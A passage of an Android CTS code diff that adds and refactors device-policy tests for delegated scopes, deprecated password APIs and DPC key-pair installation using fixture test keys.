+ // correctly mark security logging delegation as possible for COPE profile POs.
+ public void setDelegatedScopes_securityLogging_validAdminType_noException() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void setDelegatedScopes_certSelection_settingSecondApp_revokesFirstApp() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+ TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(DELEGATION_CERT_SELECTION));
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName(),
+ Collections.singletonList(DELEGATION_CERT_SELECTION));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName()))
+ .isEmpty();
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName()))
+ .containsExactly(DELEGATION_CERT_SELECTION);
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ resetDelegatedScopes(testApp2);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = NetworkLoggingDelegation.class)
+ public void setDelegatedScopes_networkLogging_settingSecondApp_revokesFirstApp() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+ TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName(),
+ Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName()))
+ .isEmpty();
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName()))
+ .containsExactly(DELEGATION_NETWORK_LOGGING);
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ resetDelegatedScopes(testApp2);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = SecurityLoggingDelegation.class)
+ public void setDelegatedScopes_securityLogging_settingSecondApp_revokesFirstApp() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+ TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName(),
+ Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName()))
+ .isEmpty();
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .getDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp2.testApp().packageName()))
+ .containsExactly(DELEGATION_SECURITY_LOGGING);
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ resetDelegatedScopes(testApp2);
+ }
+ }
+ }
+
+ @Test
+ @PositivePolicyTest(policy = Delegation.class)
+ public void setDelegatedScopes_delegatedPackageReceivesScopesFromBroadcast() {
+ try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+ // TODO(b/198769413): we should not need to start (or query for) an activity, but the
+ // event is not received for some reason without it.
+ testApp.activities().any().start();
+ // TODO(b/198588980): automatically register every test app for this broadcast.
+ testApp.registerReceiver(
+ new IntentFilter(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED));
+
+ try {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+
+ // TODO(b/198294382): support .stringListValue().contains(List<String>) to
+ // avoid needing to explicitly list the strings again here.
+ EventLogsSubject.assertThat(testApp.events().broadcastReceived()
+ .whereIntent().action()
+ .isEqualTo(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED)
+ .whereIntent().extras().key(EXTRA_DELEGATION_SCOPES)
+ .stringListValue().contains(TEST_SCOPE, TEST_SCOPE_2))
+ .eventOccurred();
+
+ } finally {
+ resetDelegatedScopes(testApp);
+ }
+ }
+ }
+
+ private void resetDelegatedScopes(TestAppInstance testApp) {
+ sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+ sDeviceState.dpc().componentName(),
+ testApp.testApp().packageName(),
+ /* scopes= */ Collections.emptyList());
+ }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeprecatedPasswordAPIsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeprecatedPasswordAPIsTest.java
new file mode 100644
index 0000000..fa0ebb8
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeprecatedPasswordAPIsTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.devicepolicy.cts;
+
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
+import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.DeprecatedPasswordAPIs;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test cases for password management APIs that are deprecated and not supported in some platforms.
+ */
+@RunWith(BedsteadJUnit4.class)
+public final class DeprecatedPasswordAPIsTest {
+
+ @ClassRule
+ @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ private static final Context sContext = TestApis.context().instrumentedContext();
+
+ private ComponentName mAdmin;
+ private RemoteDevicePolicyManager mDpm;
+
+ @Before
+ public void setUp() {
+ RemotePolicyManager dpc = sDeviceState.dpc();
+ mAdmin = dpc.componentName();
+ mDpm = dpc.devicePolicyManager();
+ }
+
+ @Test
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ public void testPasswordQuality_featureUnsupported_returnsUnspecified() {
+ mDpm.setPasswordQuality(mAdmin, DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
+
+ assertWithMessage("getPasswordQuality()").that(mDpm.getPasswordQuality(mAdmin))
+ .isEqualTo(DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordQuality_featureSupported_returnsValueSet() {
+ mDpm.setPasswordQuality(mAdmin, DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
+
+ assertWithMessage("getPasswordQuality()").that(mDpm.getPasswordQuality(mAdmin))
+ .isEqualTo(DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumLength_featureUnsupported_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumLength(mAdmin);
+
+ mDpm.setPasswordMinimumLength(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumLength()")
+ .that(mDpm.getPasswordMinimumLength(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumLength_featureSupported_returnsValueSet() {
+ mDpm.setPasswordMinimumLength(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumLength()")
+ .that(mDpm.getPasswordMinimumLength(mAdmin))
+ .isEqualTo(42);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumNumeric_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumNumeric(mAdmin);
+
+ mDpm.setPasswordMinimumNumeric(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumNumeric()")
+ .that(mDpm.getPasswordMinimumNumeric(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumNumeric_returnsValueSet() {
+ mDpm.setPasswordMinimumNumeric(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumNumeric()")
+ .that(mDpm.getPasswordMinimumNumeric(mAdmin))
+ .isEqualTo(42);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumLowerCase_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumLowerCase(mAdmin);
+
+ mDpm.setPasswordMinimumLowerCase(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumLowerCase()")
+ .that(mDpm.getPasswordMinimumLowerCase(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumLowerCase_returnsValueSet() {
+ mDpm.setPasswordMinimumLowerCase(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumLowerCase()")
+ .that(mDpm.getPasswordMinimumLowerCase(mAdmin))
+ .isEqualTo(42);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumUpperCase_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumUpperCase(mAdmin);
+
+ mDpm.setPasswordMinimumUpperCase(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumUpperCase()")
+ .that(mDpm.getPasswordMinimumUpperCase(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumUpperCase_returnsValueSet() {
+ mDpm.setPasswordMinimumUpperCase(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumUpperCase()")
+ .that(mDpm.getPasswordMinimumUpperCase(mAdmin))
+ .isEqualTo(42);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumLetters_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumLetters(mAdmin);
+
+ mDpm.setPasswordMinimumLetters(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumLetters()")
+ .that(mDpm.getPasswordMinimumLetters(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumLetters_returnsValueSet() {
+ mDpm.setPasswordMinimumLetters(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumLetters()")
+ .that(mDpm.getPasswordMinimumLetters(mAdmin))
+ .isEqualTo(42);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumSymbols_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumSymbols(mAdmin);
+
+ mDpm.setPasswordMinimumSymbols(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumSymbols()")
+ .that(mDpm.getPasswordMinimumSymbols(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumSymbols_returnsValueSet() {
+ mDpm.setPasswordMinimumSymbols(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumSymbols()")
+ .that(mDpm.getPasswordMinimumSymbols(mAdmin))
+ .isEqualTo(42);
+ }
+
+ @Test
+ @RequireFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumNonLetter_ignored() {
+ int valueBefore = mDpm.getPasswordMinimumNonLetter(mAdmin);
+
+ mDpm.setPasswordMinimumNonLetter(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumNonLetter()")
+ .that(mDpm.getPasswordMinimumNonLetter(mAdmin))
+ .isEqualTo(valueBefore);
+ }
+
+ @Test
+ @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+ @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+ @Postsubmit(reason = "new test")
+ public void testPasswordMinimumNonLetter_returnsValueSet() {
+ mDpm.setPasswordMinimumNonLetter(mAdmin, 42);
+
+ assertWithMessage("getPasswordMinimumNonLetter()")
+ .that(mDpm.getPasswordMinimumNonLetter(mAdmin))
+ .isEqualTo(42);
+ }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
index e212674..00aea6f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
@@ -38,7 +38,7 @@
import com.android.bedstead.nene.utils.ShellCommand;
import com.android.bedstead.remotedpc.RemoteDpc;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import org.junit.Before;
@@ -89,9 +89,9 @@
@EnsureHasNoProfileOwner
public void setDeviceOwnerViaAdb_deviceHasAccount_fails()
throws InterruptedException {
- try (TestAppInstanceReference accountAuthenticatorApp =
+ try (TestAppInstance accountAuthenticatorApp =
sAccountManagementApp.install(TestApis.users().instrumented());
- TestAppInstanceReference dpcApp = sDpcApp.install(TestApis.users().instrumented())) {
+ TestAppInstance dpcApp = sDpcApp.install(TestApis.users().instrumented())) {
addAccount();
assertThrows(AdbException.class, () ->
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
index 4b0912b..fbca7dd 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
@@ -22,10 +22,11 @@
import static org.junit.Assert.assertThrows;
+import static java.util.Collections.singleton;
+
import android.content.Context;
import android.net.Uri;
-import android.os.Handler;
-import android.os.Looper;
+import android.os.Process;
import android.security.KeyChain;
import android.security.KeyChainException;
@@ -33,6 +34,7 @@
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.SlowApiTest;
import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
import com.android.bedstead.harrier.policies.KeyManagement;
@@ -45,20 +47,23 @@
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
+import org.testng.Assert;
import java.io.ByteArrayInputStream;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
+import java.security.InvalidKeyException;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
+import java.security.Signature;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.CertificateFactory;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
/**
* Test that a DPC can manage keys and certificate on a device by installing, generating and
@@ -68,6 +73,10 @@
@RunWith(BedsteadJUnit4.class)
public class KeyManagementTest {
+ @ClassRule
+ @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+ private static final int KEYCHAIN_CALLBACK_TIMEOUT_SECONDS = 600;
private static final String RSA = "RSA";
private static final String RSA_ALIAS = "com.android.test.valid-rsa-key-1";
private static final PrivateKey PRIVATE_KEY =
@@ -75,220 +84,8 @@
private static final Certificate CERTIFICATE =
generateCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
-
- private final ExecutorService mExecutor = Executors.newSingleThreadExecutor();
- private final Handler mHandler = new Handler(Looper.getMainLooper());
-
- @ClassRule
- @Rule
- public static final DeviceState sDeviceState = new DeviceState();
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class)
- public void installKeyPair_validRsaKeyPair_success() throws Exception {
- try {
- // Install keypair
- assertThat(sDeviceState.dpc().devicePolicyManager()
- .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE,
- RSA_ALIAS)).isTrue();
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
- public void installKeyPair_nullPrivateKey_throwException() throws Exception {
- assertThrows(NullPointerException.class,
- () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
- DPC_COMPONENT_NAME, /* privKey = */ null, CERTIFICATE, RSA_ALIAS));
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
- public void installKeyPair_nullCertificate_throwException() throws Exception {
- assertThrows(NullPointerException.class,
- () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
- DPC_COMPONENT_NAME, PRIVATE_KEY, /* cert = */ null, RSA_ALIAS));
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
- public void installKeyPair_nullAdminComponent_throwException() throws Exception {
- assertThrows(SecurityException.class,
- () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
- /* admin = */ null, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS));
- }
-
- @Test
- @Ignore
- @Postsubmit(reason = "new test")
- @PositivePolicyTest(policy = KeyManagement.class)
- public void installKeyPair_withAutomatedAccess_aliasIsGranted() throws Exception {
- try {
- // Install keypair with automated access
- sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
- CERTIFICATES, RSA_ALIAS, /* requestAccess = */ true);
-
- // TODO(b/198407955): Call KeyChain.getPrivateKey with the DPC context and verify
- // the private key is not null
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Ignore
- @Postsubmit(reason = "new test")
- @PositivePolicyTest(policy = KeyManagement.class)
- public void installKeyPair_withoutAutomatedAccess_aliasIsNotGranted() throws Exception {
- try {
- // Install keypair with automated access
- sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
- CERTIFICATES, RSA_ALIAS, /* requestAccess = */ false);
-
- // TODO(b/198407955): Call KeyChain.getPrivateKey with the DPC context and verify
- // the private key is null
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class)
- public void removeKeyPair_validRsaKeyPair_success() throws Exception {
- try {
- // Install keypair
- sDeviceState.dpc().devicePolicyManager()
- .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
- } finally {
- // Remove keypair
- assertThat(sDeviceState.dpc().devicePolicyManager()
- .removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS)).isTrue();
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class)
- public void hasKeyPair_nonExistentAlias_false() throws Exception {
- assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class)
- public void hasKeyPair_installedAlias_true() throws Exception {
- try {
- // Install keypair
- sDeviceState.dpc().devicePolicyManager()
- .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
-
- assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isTrue();
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @CanSetPolicyTest(policy = KeyManagement.class)
- public void hasKeyPair_removedAlias_false() {
- try {
- // Install keypair
- sDeviceState.dpc().devicePolicyManager()
- .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
-
- assertThat(sDeviceState.dpc().devicePolicyManager().hasKeyPair(RSA_ALIAS)).isFalse();
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @PositivePolicyTest(policy = KeyManagement.class)
- public void choosePrivateKeyAlias_aliasIsSelectedByAdmin_returnAlias() throws Exception {
- try {
- // Install keypair
- sDeviceState.dpc().devicePolicyManager()
- .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
- KeyChainAliasCallback callback = new KeyChainAliasCallback();
-
- choosePrivateKeyAlias(callback, RSA_ALIAS);
-
- assertThat(callback.await()).isEqualTo(RSA_ALIAS);
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @PositivePolicyTest(policy = KeyManagement.class)
- public void choosePrivateKeyAlias_nonUserSelectedAliasIsSelectedByAdmin_returnAlias()
- throws Exception {
- try {
- // Install keypair which is not user selectable
- sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
- CERTIFICATES, RSA_ALIAS, /* flags = */ 0);
- KeyChainAliasCallback callback = new KeyChainAliasCallback();
-
- choosePrivateKeyAlias(callback, RSA_ALIAS);
-
- assertThat(callback.await()).isEqualTo(RSA_ALIAS);
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- @Test
- @Postsubmit(reason = "new test")
- @PositivePolicyTest(policy = KeyManagement.class)
- public void getPrivateKey_aliasIsGranted_returnPrivateKey() throws Exception {
- try {
- // Install keypair
- sDeviceState.dpc().devicePolicyManager()
- .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS);
- // Grant alias via {@code KeyChain.choosePrivateKeyAlias}
- KeyChainAliasCallback callback = new KeyChainAliasCallback();
- choosePrivateKeyAlias(callback, RSA_ALIAS);
- callback.await();
-
- // Get private key for the granted alias
- final PrivateKey privateKey =
- getPrivateKey(TestApis.context().instrumentedContext(), RSA_ALIAS);
-
- assertThat(privateKey).isNotNull();
- assertThat(privateKey.getAlgorithm()).isEqualTo(RSA);
-
- } finally {
- // Remove keypair
- sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
- }
- }
-
- private static class KeyChainAliasCallback extends BlockingCallback<String> implements
- android.security.KeyChainAliasCallback {
-
- @Override
- public void alias(final String chosenAlias) {
- callbackTriggered(chosenAlias);
- }
- }
+ private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+ private static final Context sContext = TestApis.context().instrumentedContext();
private static Uri getUri(String alias) {
try {
@@ -337,4 +134,441 @@
throw new AssertionError("Unable to get certificate." + e);
}
}
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void installKeyPair_validRsaKeyPair_success() {
+ try {
+ // Install keypair
+ assertThat(sDeviceState.dpc().devicePolicyManager()
+ .installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY, CERTIFICATE,
+ RSA_ALIAS)).isTrue();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+ public void installKeyPair_nullPrivateKey_throwException() {
+ assertThrows(NullPointerException.class,
+ () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, /* privKey = */ null, CERTIFICATE, RSA_ALIAS));
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+ public void installKeyPair_nullCertificate_throwException() {
+ assertThrows(NullPointerException.class,
+ () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ DPC_COMPONENT_NAME, PRIVATE_KEY, /* cert = */ null, RSA_ALIAS));
+ }
+
+ @Test
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class, singleTestOnly = true)
+ public void installKeyPair_nullAdminComponent_throwException() {
+ assertThrows(SecurityException.class,
+ () -> sDeviceState.dpc().devicePolicyManager().installKeyPair(
+ /* admin = */ null, PRIVATE_KEY, CERTIFICATE, RSA_ALIAS));
+ }
+
+ @Test
+ @Ignore("TODO(b/204544463): Enable when the key can be serialized")
+ @Postsubmit(reason = "new test")
+ @CanSetPolicyTest(policy = KeyManagement.class)
+ public void installKeyPair_withAutomatedAccess_aliasIsGranted() throws Exception {
+ try {
+ // Install keypair with automated access
+ sDeviceState.dpc().devicePolicyManager().installKeyPair(DPC_COMPONENT_NAME, PRIVATE_KEY,
+ CERTIFICATES, RSA_ALIAS, /* requestAccess = */ true);
+
+ // TODO(b/204544478): Remove the null context
+ assertThat(sDeviceState.dpc().keyChain().getPrivateKey(/* context= */ null, RSA_ALIAS))
+ .isNotNull();
+ } finally {
+ // Remove keypair
+ sDeviceState.dpc().devicePolicyManager().removeKeyPair(DPC_COMPONENT_NAME, RSA_ALIAS);
+ }
+ }
+
+ @Test
